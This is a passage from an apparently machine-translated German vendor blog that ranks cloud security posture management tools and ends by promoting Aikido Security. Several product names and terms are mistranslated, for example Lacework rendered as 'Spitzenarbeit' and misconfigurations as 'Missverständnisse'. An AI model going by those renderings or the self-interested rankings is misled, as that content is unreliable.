- Integrierte Compliance-Pakete
- Kostenlose Gemeinschaftsebene verfügbar
Am besten geeignet für: Sicherheitsteams, die vollständige Transparenz und flexible Abfragen in weitläufigen Umgebungen wünschen.
Preisgestaltung: Kostenlose Stufe verfügbar; kostenpflichtige Pläne skalieren mit dem Asset-Volumen.
"JupiterOne hat die Sichtbarkeit von Assets für unser Team deutlich verbessert. J1QL ist leistungsstark." - SecOps-Leiter auf G2
11. Spitzenarbeit
Lacework ist eine CNAPP-Plattform, die neben Anomalieerkennung und Workload-Schutz auch CSPM bietet. Die Polygraph Data Platform erfasst das Verhalten in Ihrer Cloud, um Bedrohungen und Fehlkonfigurationen aufzudecken.
Wesentliche Merkmale:
- Kontinuierliche Konfigurationsüberwachung über AWS, Azure, GCP
- ML-gestützte Anomalieerkennung mit visuellem Storyline-Mapping
- Agentenloser Workload-Schutz (Container, VMs)
- Compliance-Bewertungen und automatisierte Berichte
- API- und DevOps-freundliche Integrationen
Am besten geeignet für: Teams, die CSPM mit Bedrohungserkennung und minimaler Ermüdung durch Alarme kombinieren möchten.
Preisgestaltung: Preise für Unternehmen; kontaktieren Sie Lacework.
"Allein der visuelle Polygraph ist es wert - er verbindet die Punkte zwischen den Ergebnissen besser als jedes andere Tool, das wir ausprobiert haben." - Sicherheitsingenieur auf Reddit
12. Microsoft Defender für die Cloud
Microsoft Defender for Cloud ist das integrierte CSPM von Azure, das um Integrationen für AWS und GCP erweitert wurde. Es bietet Ihnen Posture Management, Compliance-Prüfungen und Bedrohungserkennung in einem Fenster.
Wesentliche Merkmale:
- Secure Score für die Bewertung der Cloud-Position
- Erkennung von Fehlkonfigurationen in Azure, AWS und GCP
- Integration mit Microsoft Defender XDR und Sentinel SIEM
- Abhilfe mit einem Klick und automatische Empfehlungen
- Integrierte Unterstützung für CIS, NIST, PCI-DSS
Am besten geeignet für: Unternehmen, die erstmals Azure einsetzen und ein nahtloses, natives Posture Management und Bedrohungsschutz suchen.
Preisgestaltung: Kostenlose Stufe für CSPM; kostenpflichtige Pläne für Bedrohungsschutz nach Ressourcen.
"Wir verfolgen unseren Secure Score wöchentlich teamübergreifend - sehr effektiv, um Verbesserungen voranzutreiben." - CISO auf G2

13. Prisma Cloud (Palo Alto Networks)
Prisma Cloud ist ein umfassendes CNAPP, das robustes CSPM, IaC-Scanning und Workload-Sicherheit beinhaltet. Es deckt den gesamten Lebenszyklus vom Code bis zur Cloud ab.
Wesentliche Merkmale:
- Überwachung des Zustands der Cloud in Echtzeit
- Risikopriorisierung mit KI und Datenkontext
- Infrastruktur als Code und CI/CD-Integration
- Identitäts- und Zugriffsanalyse, Visualisierung von Angriffspfaden
- Umfassende Pakete zur Einhaltung von Vorschriften und Richtlinien
Am besten geeignet für: Unternehmen, die komplexe Multi-Cloud-Umgebungen betreiben und eine umfassende Transparenz und Abdeckung benötigen.
Preisgestaltung: Modulare Pläne; unternehmensorientiert.
"Es hat vier Tools für uns ersetzt - wir verwalten alles von der Haltung bis zu Laufzeitbedrohungen an einem Ort." - DevSecOps Manager auf G2
14. Prowler
Prowler ist ein Open-Source-Sicherheits-Audit-Tool, das sich hauptsächlich auf AWS konzentriert. Es prüft Ihre Infrastruktur anhand von Best Practices und rechtlichen Rahmenbedingungen.
Wesentliche Merkmale:
- Über 250 Prüfungen gemäß CIS, PCI, GDPR, HIPAA
- Fokussiertes AWS CLI-Tool mit JSON/HTML-Ausgabe
- Ausbau der Multi-Cloud-Unterstützung (Basis Azure/GCP)
- Einfache Integration der CI/CD-Pipeline
- Prowler Pro für SaaS-Berichterstattung verfügbar
Am besten geeignet für: DevOps-Ingenieure und AWS-lastige Unternehmen, die anpassbare Open-Source-Scans benötigen.
Preisgestaltung: Kostenlos (Open-Source); Prowler Pro ist kostenpflichtig.
"Einfaches AWS-Auditing, das einfach funktioniert - ein Muss für Ihre Pipeline." - Cloud Engineer auf Reddit

15. Sonrai Sicherheit
Sonrai kombiniert CSPM mit CIEM und Datensicherheit, wobei der Schwerpunkt auf Cloud Identity Governance und der Verhinderung der Gefährdung sensibler Daten liegt.
Wesentliche Merkmale:
- Analyse von Identitätsbeziehungen und Privilegienrisiken
- Erkennung sensibler Daten in Cloud-Speichern
- CSPM und Prüfung der Einhaltung der Vorschriften
- Automatisierung für die Durchsetzung des Prinzips der geringsten Privilegien
- Multicloud- und Hybrid-Unterstützung
Am besten geeignet für: Unternehmen, die sich auf Identity Governance, Compliance und den Schutz von in der Cloud gespeicherten sensiblen Daten konzentrieren.
Preisgestaltung: Enterprise SaaS; Kontakt zum Vertrieb.
"Mit Sonrai ist es einfach zuzuordnen, wer auf was zugreifen kann und warum - unsere Auditoren sind begeistert." - Sicherheitsbeauftragter auf G2
16. Tenable Cloud Security (Accurics)
Tenable Cloud Security (ehemals Accurics) konzentriert sich auf IaC-Scanning, Drift-Erkennung und Posture Management. Es passt gut in GitOps- und DevSecOps-Pipelines.
Wesentliche Merkmale:
- Infrastruktur wie Code-Scanning und Durchsetzung von Richtlinien
- Erkennung von Drifts zwischen Code und bereitgestellten Ressourcen
- Erkennung von Fehlkonfigurationen und Verfolgung der Einhaltung von Vorschriften
- Automatisch generierte IaC-Abhilfemaßnahmen (z. B. Terraform)
- Integration mit Tenable.io und Schwachstellendaten
Am besten geeignet für: DevOps-Teams, die vor der Bereitstellung und während der Laufzeit Sicherheitsprüfungen in Verbindung mit IaC benötigen.
Preisgestaltung: Teil der Tenable-Plattform; nutzungsabhängige Preise.
"Großartige Ergänzung zu den Vuln-Tools von Tenable - hält auch Cloud-Konfigurationen in Schach." - SecOps Manager auf G2

17. Zscaler Haltungskontrolle
Zscaler Posture Control bringt CSPM zu Zscaler's Zero Trust Exchange. Es verbindet den Kontext von Körperhaltung, Identität und Schwachstellen, um echte Risiken aufzuzeigen.
Wesentliche Merkmale:
- Vereinheitlichtes CSPM und CIEM
- Korrelation von Bedrohungen über falsche Konfigurationen, Identitäten und Arbeitslasten hinweg
- Kontinuierliches Scannen für AWS, Azure und GCP
- Richtlinienbasierte Durchsetzung und Abhilfe
- Integriert in Zscaler's breiteres Zero Trust Ökosystem
Am besten geeignet für: Zscaler-Kunden, die Einblicke in die eigene Sicherheitslage suchen, die auf Zero Trust-Strategien abgestimmt sind.
Preisgestaltung: Add-on zur Zscaler-Plattform; auf Unternehmen ausgerichtet.
"Wir haben endlich Posture Visibility in unser Zero-Trust-Modell integriert." - Leiter der Netzwerksicherheit bei G2
Die besten CSPM-Tools für Entwickler
Entwickelnde Bedürfnisse: Schnelles Feedback in CI/CD, geräuscharme Alarme und Integrationen mit GitHub, Terraform oder IDEs.
Schlüsselkriterien:
- Scannen der Infrastruktur als Code (IaC)
- Entwickelnde UI und APIs
- Kompatibilität von GitOps und CI/CD
- Autofix oder praktikable Anleitung zur Abhilfe
- Klare Eigentumsverhältnisse und minimale Fehlalarme
Top-Auswahl:
- Aikido-Sicherheit: Einfache Einrichtung, KI-basierte Autofixierung und für Entwickler entwickelt. Lässt sich direkt mit CI und GitHub integrieren.
- Fugue (Snyk Cloud): Policy-as-code mit Regula; ideal für Teams, die Terraform und GitOps verwenden.
- Prisma Cloud: Vollständiges Code-to-Cloud-Scannen und IDE-Integration.
- Prowler: Einfaches CLI-Tool, das Entwickler lokal oder in Pipelines ausführen können.
Beste CSPM-Tools für Unternehmen
Unternehmensbedürfnisse: Multi-Cloud-Transparenz, Compliance-Berichte, rollenbasierter Zugriff und Workflow-Integration.
Schlüsselkriterien:
- Unterstützung für mehrere Konten und verschiedene Clouds
- Integrierte Rahmenwerke zur Einhaltung von Vorschriften
- Rollenbasierte Zugriffskontrolle (RBAC)
- SIEM/ITSM-Integrationen
- Skalierbare Preise und Anbieterunterstützung
Top-Auswahl:
- Prisma Cloud: Abgedeckt werden Haltung, Laufzeit und Compliance im großen Maßstab.
- Check Point CloudGuard: Multi-Cloud-Governance und umfassende Durchsetzung von Richtlinien.
- Microsoft Defender für die Cloud: Native Azure-Abdeckung plus AWS/GCP.
- Ermetic: Fortschrittliches CIEM und Governance für komplexe Umgebungen.
Die besten CSPM-Tools für Startups
Startup-Bedürfnisse: Erschwinglichkeit, Benutzerfreundlichkeit, schnelle Bereitstellung und grundlegende Hilfe bei der Einhaltung von Vorschriften.
Schlüsselkriterien:
- Kostenlose oder erschwingliche Pläne
- Einfaches Onboarding und UX
- SOC 2/ISO-Bereitschaft aus der Box heraus
- Entwickelnde Fokus
- All-in-One-Funktionen
Top-Auswahl:
- Aikido-Sicherheit: Free Tier, KI-Autofix und Entwickler-zentriert.
- CloudSploit: Kostenlos, quelloffen und leicht zu integrieren.
- JupiterOne: Kostenlose Community-Ebene und einfache vermögensbasierte Risikoabfragen.
- Prowler: CLI-gesteuerter, kostenloser AWS-Scanner mit Compliance-Unterstützung.
Die besten CSPM-Tools für Multi-Cloud-Umgebungen
Multi-Cloud-Bedürfnisse: Einheitliche Ansicht, Cloud-agnostische Richtliniendurchsetzung und nahtlose Integrationen.
Schlüsselkriterien:
- Volle Unterstützung für AWS, Azure, GCP (und mehr)
- Einheitliche Dashboards
- Normalisierte Compliance-Berichterstattung
- Sichtbarkeit über mehrere Konten und Regionen hinweg
- Konsistente Alarmierung über Clouds hinweg
Top-Auswahl:
- Prisma Cloud: Wahrhaft Cloud-agnostisch mit tiefgreifenden Funktionen.
- JupiterOne: Graphenbasierte Transparenz über Clouds und Services hinweg.
- Check Point CloudGuard: Eine Policy Engine für alle Clouds.
- CloudCheckr: Governance und Kostenoptimierung über Clouds hinweg.
Die besten CSPM-Tools für Cloud-Schutz
Bedarf an Cloud-Schutz: Kombinieren Sie den Schutz mit Laufzeit-Bedrohungserkennung, Anomalie-Analyse und Schutz vor Sicherheitsverletzungen.
Schlüsselkriterien:
- Erkennung von Bedrohungen (über das Scannen der Konfiguration hinaus)
- Sichtbarkeit der Arbeitslast zur Laufzeit
- Einblicke in den Cloud-Netzwerkverkehr
- Korrelation und Priorisierung von Warnmeldungen
- Automatisierte Abhilfe oder Blockierung
Top-Auswahl:
- Aikido-Sicherheit: Kombiniert Cloud Posture Management, Code Scanning und Container Image Scanning in einer Plattform.
- CrowdStrike Falcon Cloud Security: CNAPP mit erstklassigen Bedrohungsdaten.
- Spitzenleistung: Die Polygraphie-Engine erkennt Missverständnisse und Anomalien gemeinsam.
- Microsoft Defender für die Cloud: Runtime + Config Threat Visibility in Azure.
- Check Point CloudGuard: Kombiniert Schutzhaltung mit aktiver Bedrohungsabwehr.
Die besten CSPM-Tools für AWS
AWS-zentrierte Anforderungen: Vollständige Serviceabdeckung, Security Hub-Integration und Anpassung an AWS-Benchmarks.
Schlüsselkriterien:
- Tiefgreifende AWS-API-Integration
- Unterstützung für AWS CIS/NIST-Frameworks
- Unterstützung für mehrere Konten
- Kompatibilität mit nativen Diensten (z. B. GuardDuty, Config)
- Erkennung von Konfigurationsfehlern mit niedriger Latenzzeit
Top-Auswahl:
- Prowler: Leichtgewichtig, CLI-first und AWS-nativ.
- CloudSploit: Einfach zu implementieren und Open-Source.
- Aqua-Sicherheit: Erweiterte AWS-Unterstützung + Container.
- CloudCheckr: Umfassende Einblicke in die AWS-Compliance und Kosten.
Beste CSPM-Tools für Azure
Azure-zentrierte Anforderungen: Nahtlose Integration mit Microsoft Defender, Azure Policy und nativen Diensten.
Schlüsselkriterien:
- Native Integration in das Azure-Ökosystem
- Unterstützung von Secure Score und Azure Security Benchmark
- Abdeckung von Azure RBAC und Identity
- Automatisierte Abhilfemaßnahmen und Warnungen
- Kompatibilität mit Sentinel und Defender XDR
Top-Auswahl:
- Microsoft Defender für Cloud: Erstanbieter-Abdeckung mit kostenloser Stufe.
- Aikido-Sicherheit: Azure-fähige CSPM-Plattform mit agentenlosem Scannen, Echtzeit-Warnungen bei Fehlkonfigurationen und KI-basierter Abhilfe.
- Ermetic: Erweitertes Identity Posture Management für Azure.
- Check Point CloudGuard: Multi-Cloud-Transparenz einschließlich Azure.
- Tenable Cloud Security: IaC und Laufzeit-Scanning für Azure mit Drift-Erkennung.
Schlussfolgerung
Cloud Security Posture Management ist nicht nur ein Kontrollkästchen für Audits - es ist der Unterschied zwischen einer sicheren, skalierbaren Cloud und einer, bei der sensible Daten durch Fehlkonfigurationen nach außen dringen.
Ganz gleich, ob Sie ein Startup-Gründer sind, der ein kostenloses Tool zur Absicherung seines AWS-Kontos sucht, oder ein Sicherheitsverantwortlicher in einem Unternehmen, der sich mit Multi-Cloud-Umgebungen herumschlagen muss - das richtige CSPM-Tool kann Ihnen die Arbeit erheblich erleichtern.
Von Open-Source-Tools wie Prowler und CloudSploit bis hin zu unternehmenstauglichen Plattformen wie Prisma Cloud und Check Point CloudGuard gibt es eine Vielzahl leistungsstarker Optionen.
Wenn Sie auf der Suche nach einer Plattform sind, die CSPM mit Code- und Laufzeitsicherheit in einer einzigen, übersichtlichen Oberfläche kombiniert, sind Sie bei Aikido Security genau richtig.
👉 Starten Sie noch heute Ihre kostenlose Testversion und sehen Sie, wie schnell Sie Ihre Cloud-Position verbessern können.